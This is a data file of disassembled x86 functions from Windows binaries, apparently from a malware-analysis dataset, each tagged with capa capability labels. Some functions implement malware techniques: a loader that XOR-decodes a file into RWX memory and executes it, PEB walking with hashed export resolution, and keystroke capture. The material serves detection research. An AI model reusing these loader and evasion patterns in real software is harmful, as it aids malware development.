joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10056fa1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x10056feb
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x10056f92
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x10056fa1
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1045cc44
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x10056ff2
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1003de68
cmp eax, dword [ebp + 0xc]
pop eax
je 0x10057091
add edi, 4
add eax, 2
dec ecx
jne 0x10056fd7
call 0x1005703e
loope 0x10057034
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x1005708e
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1005709f
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x10057052
cmp eax, ecx
ja 0x10057052
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100570dc
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100570d2
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1003e347
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x401030
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00408cc5

Function at 0x401130
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xeeeb4
call fcn.0043a620
mov eax, dword [0x463be0]
xor eax, esp
mov dword [esp + 0xeeeb0], eax
mov eax, dword [esp + 0xeeeb8]
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push edi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jbe 0x4011aa
lea ebx, [ebx]
xor byte [esp + eax + 0x14], 0xe7
inc eax
cmp eax, esi
jb 0x4011a0
push 0x40
push 0x3000
push 0xeeea8
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xeeea8
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call fcn.00437420
add esp, 0xc
call dword [0x467934]
push 0
push 0
push 1
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push 0x64
push 0
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x28]
push eax
call dword [0x467938]
test eax, eax
je 0x401225
push 0xffffffffffffffff
push ebx
call dword [0x467930]
test eax, eax
je 0x401225
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.004378c3
add esp, 8
mov ecx, dword [esp + 0xeeebc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00437409
add esp, 0xeeeb4
ret

Function at 0x404e7c
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x44a21d
call fcn.004380eb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040314d
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x404ede
call fcn.00408deb
cmp eax, 1
jne 0x404ede
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00404985
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00404933
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402294
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402294
mov eax, esi
call fcn.004381c3
ret 0x10
Function at 0x404f07
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x44a21d
call fcn.004380eb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040314d
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x404f69
call fcn.00408deb
cmp eax, 1
jne 0x404f69
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00404985
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00404933
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402294
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402294
mov eax, esi
call fcn.004381c3
ret 0x14

Function at 0x404f96
Capabilities:
Delete registry key

Disassembly:
push 0
mov eax, 0x44a21d
call fcn.004380eb
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.0040314d
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x404ff8
call fcn.00408deb
cmp eax, 1
jne 0x404ff8
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.00404985
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00404933
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.00402294
mov dword [ebp + 8], SysStringLen
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402294
mov eax, esi
call fcn.004381c3
ret 8

Function at 0x40726b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4072b3
call fcn.00409511
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4072b3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4072f6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4072df
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4072df
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4072f3
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x408c2e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00409511
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x408c67
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040887f
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x408cc5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x408ce9
cmp dword [edi + 0x54], 0
jne 0x408ce9
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00409511
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00408c86
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x40f4e5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40f52c
call fcn.00409511
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40f52c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40f548
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040f05f
mov esi, eax
test edi, edi
je 0x40f546
test ebx, ebx
je 0x40f546
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40fd13
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x44b0ac
call fcn.004380eb
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40fd38
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40fd7e
lea ecx, [ebp - 0x10]
call fcn.004046c3
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040f54f
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402294
mov eax, esi
call fcn.004381c3
ret 8
Function at 0x437409
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x463be0]
jne 0x437413
repz ret
jmp fcn.0043c3f1

Function at 0x444b91
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043c792
and dword [ebp - 4], 0
cmp dword [0x4678bc], 0
mov ebx, eax
jne 0x444c42
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x444cf3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x454cf8
push edi
call esi
test eax, eax
je 0x444cf3
push eax
call fcn.0043c720
mov dword [esp], 0x454ce8
push edi
mov dword [0x4678bc], eax
call esi
push eax
call fcn.0043c720
mov dword [esp], 0x454cd4
push edi
mov dword [0x4678c0], eax
call esi
push eax
call fcn.0043c720
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4678c4], eax
call esi
push eax
call fcn.0043c720
pop ecx
mov dword [0x4678cc], eax
test eax, eax
je 0x444c42
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043c720
pop ecx
mov dword [0x4678c8], eax
mov eax, dword [0x4678c8]
cmp eax, ebx
je 0x444c9a
cmp dword [0x4678cc], ebx
je 0x444c9a
push eax
call fcn.0043c79b
push dword [0x4678cc]
mov esi, eax
call fcn.0043c79b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x444c9a
test edi, edi
je 0x444c9a
call esi
test eax, eax
je 0x444c91
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x444c91
test byte [ebp - 0xc], 1
jne 0x444c9a
or dword [ebp + 0x10], 0x200000
jmp 0x444cd3
mov eax, dword [0x4678c0]
cmp eax, ebx
je 0x444cd3
push eax
call fcn.0043c79b
pop ecx
test eax, eax
je 0x444cd3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x444cd3
mov eax, dword [0x4678c4]
cmp eax, ebx
je 0x444cd3
push eax
call fcn.0043c79b
pop ecx
test eax, eax
je 0x444cd3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4678bc]
call fcn.0043c79b
pop ecx
test eax, eax
je 0x444cf3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x444cf5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403408
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00405de0
test esi, esi
jne 0x403440
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00405f1c
jmp 0x40345e
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.0040334c
mov edi, eax
test esi, esi
je 0x40345e
cmp dword [ebx], 0
je 0x40345e
dec esi
jmp 0x403447
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x403490
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x52f008], 0x8088405
inc edx
mov dword [ebx + 0x52f008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403ba4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x52f024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403c3c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x403c1c
xor eax, eax
push ebp
push 0x403c15
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403c74
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403c1c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x52f024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x52f024], ax
mov esp, ebp
pop ebp
ret

Function at 0x404722
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [0x531af6]
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
add ecx, 0xc
mov edx, ecx
jmp 0x40474b
xor edi, edi
lea esi, [edi + edi*2]
cmp esi, eax
je 0x404794
mov edx, dword [edx]
mov dword [esp + 0x10], 0
cmp edx, ecx
je 0x404790
mov esi, dword [edx + 0x30]
movzx ebx, word [esi]
test bx, bx
je 0x404742
add esi, 2
xor edi, edi
jmp 0x404782
movzx ebx, bx
add edi, ebx
movzx ebx, word [esi]
add esi, 2
test bx, bx
je 0x404744
lea ebp, [ebx - 0x41]
cmp bp, 0x1a
jae 0x404772
add ebx, 0x20
jmp 0x404772
xor ebp, ebp
jmp 0x404797
mov ebp, dword [edx + 0x18]
mov ecx, dword [0x531b26]
mov eax, dword [0x531b02]
mov edx, dword [0x531b0e]
mov dword [esp], edx
mov edx, dword [ebp + 0x3c]
add edx, ebp
mov ecx, dword [edx + ecx*8 + 0x78]
mov edx, dword [ebp + ecx + 0x18]

Function at 0x4047b8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [esp + 0xc], edx
test edx, edx
mov dword [esp + 4], ebp
je 0x404877
mov esi, dword [ebp + ecx + 0x20]
add esi, ebp
mov edx, dword [ebp + ecx + 0x1c]
add edx, ebp
mov dword [esp + 0x10], edx
mov ecx, dword [ebp + ecx + 0x24]
add ecx, ebp
mov dword [esp + 0x14], ecx
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x404828
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ebx, dword [esi + edi*4]
add ebx, ebp
mov edx, 0xffffffff
xor ebp, ebp
nop
nop
nop
nop
mov ecx, ebp
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
lea ebp, [ebp + 1]
jne 0x404802
test edx, edx
je 0x404842
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul edx, eax
movzx ebp, byte [ebx]
add edx, ebp
inc ebx
dec ecx
jne 0x404822
cmp edx, dword [esp]
jne 0x404849
jmp 0x40485e
xor edx, edx
cmp edx, dword [esp]
je 0x40485e
inc edi
cmp edi, dword [esp + 0xc]
mov ebp, dword [esp + 4]
jne 0x4047f2
mov dword [esp + 0x10], 0
jmp 0x404877
mov eax, dword [esp + 0x14]
movzx eax, word [eax + edi*2]
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 4]
add eax, ebp
mov dword [esp + 0x10], eax
push dword [0x531aea]
push 0
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov dword [esp + 0x14], eax
mov ecx, dword [0x531b26]
mov eax, dword [0x531b02]
mov edx, dword [0x531afa]
mov dword [esp], edx
mov edx, dword [ebp + 0x3c]
add edx, ebp
mov ecx, dword [edx + ecx*8 + 0x78]
mov ebx, dword [ebp + ecx + 0x20]
add ebx, ebp

Function at 0x40487c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ebx, dword [esi + edi*4]
add ebx, ebp
mov edx, 0xffffffff
xor ebp, ebp
nop
nop
nop
nop
mov ecx, ebp
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
lea ebp, [ebp + 1]
jne 0x404802
test edx, edx
je 0x404842
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
imul edx, eax
movzx ebp, byte [ebx]
add edx, ebp
inc ebx
dec ecx
jne 0x404822
cmp edx, dword [esp]
jne 0x404849
jmp 0x40485e
xor edx, edx
cmp edx, dword [esp]
je 0x40485e
inc edi
cmp edi, dword [esp + 0xc]
mov ebp, dword [esp + 4]
jne 0x4047f2
mov dword [esp + 0x10], 0
jmp 0x404877
mov eax, dword [esp + 0x14]
movzx eax, word [eax + edi*2]
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 4]
add eax, ebp
mov dword [esp + 0x10], eax
push dword [0x531aea]
push 0
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov dword [esp + 0x14], eax
mov ecx, dword [0x531b26]
mov eax, dword [0x531b02]
mov edx, dword [0x531afa]
mov dword [esp], edx
mov edx, dword [ebp + 0x3c]
add edx, ebp
mov ecx, dword [edx + ecx*8 + 0x78]
mov ebx, dword [ebp + ecx + 0x20]
add ebx, ebp
Function at 0x404fe4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x52f034], 0
je 0x40500a
mov edx, esi
mov eax, ebx
call dword [0x52f034]
jmp 0x405019
mov eax, 8
call fcn.00403064
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x542055], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404fac
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x413b58
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, eax
push ebx
mov ecx, dword [0x540b20]
mov dl, 1
mov eax, dword [0x40a6cc]
call fcn.00413c1c
jmp fcn.004047b8
pop eax
jmp 0x413b38

Function at 0x413fe4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov esp, ecx
mov dword [esp], edx
mov ebp, dword [ebp]
jmp fcn.004047b8

Function at 0x41476c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x414842
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00405e34
lea eax, [ebp - 4]
call fcn.00406838
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405e6c
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov ebx, eax
test ebx, ebx
je 0x41482c
mov eax, ebx
call fcn.00403064
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x414825
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405e6c
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x41480f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x414854
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x41480f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41482c
mov eax, dword [ebp - 0x10]
call fcn.00403080
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x414849
lea eax, [ebp - 4]
call fcn.00405dd0
ret

Function at 0x415e48
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.00405430
mov ebp, eax
push 0
push 0
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
mov edi, eax
cmp edi, 0x104
jbe 0x415df2
mov eax, edi
add eax, eax
call fcn.00403064
mov esi, eax
jmp 0x415df4
mov esi, esp
push edi
push esi
push ebp
push ebx
push 0
push 0xfde9
call sub.kernel32.dll_MultiByteToWideChar_1
push edi
push esi
call sub.user32.dll_CharUpperBuffW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x415e2d
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x415e17
mov eax, esp
cmp esi, eax
je 0x415e3a
mov eax, esi
call fcn.00403080
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x415e74
cmp bl, 0
je 0x415e70
cmp bl, 0x41
jl 0x415e6b
cmp bl, 0x5a
jg 0x415e6b
or bl, 0x20
xor al, bl
inc esi
jmp 0x415e4f
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x415db4
Function at 0x424a0c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, ecx
mov ebx, edx
call fcn.00424a08
push eax
mov dword [esp + 4], esi
mov byte [esp + 8], 0
lea eax, [esp + 4]
push eax
push 0
mov ecx, ebx
mov dl, 1
mov eax, dword [0x421be4]
call fcn.00413b9c
jmp fcn.004047b8

Function at 0x425fb8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, ecx
mov ebx, edx
call fcn.00425fb4
push eax
mov dword [esp + 4], esi
mov byte [esp + 8], 0
lea eax, [esp + 4]
push eax
push 0
mov ecx, ebx
mov dl, 1
mov eax, dword [0x421cbc]
call fcn.00413b9c
jmp fcn.004047b8

Function at 0x42cca8
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0042c9ac
dec esi
jne 0x42ccca
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x42de74
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x546e98
cmp dword [edi], 0
jne 0x42def0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x546e94]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x52fda0
mov ecx, 2
call fcn.0040324c
mov edx, 0x42de4c
lea eax, [esi + 5]
call fcn.0042de6c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0042de6c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x42dec5
mov dword [0x546e94], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42e9c0
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
xor ecx, ecx
mov edx, 0x40
call fcn.0040369c
ret
Function at 0x4550e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, eax
call fcn.004550d8
push eax
mov ecx, ebx
mov dl, 1
mov eax, dword [0x4540dc]
call fcn.00413c1c
jmp fcn.004047b8

Function at 0x455138
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
add esp, 0xfffffe00
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00405de0
push 0
mov eax, esi
movzx eax, al
push eax
call sub.user32.dll_MapVirtualKeyW
shl eax, 0x10
test eax, eax
je 0x45517f
push pe_nt_image_headers32
lea edx, [esp + 4]
push edx
push eax
call sub.user32.dll_GetKeyNameTextW
mov eax, ebx
mov edx, esp
mov ecx, pe_nt_image_headers32
call fcn.00405fc8
add esp, 0x200
pop esi
pop ebx
ret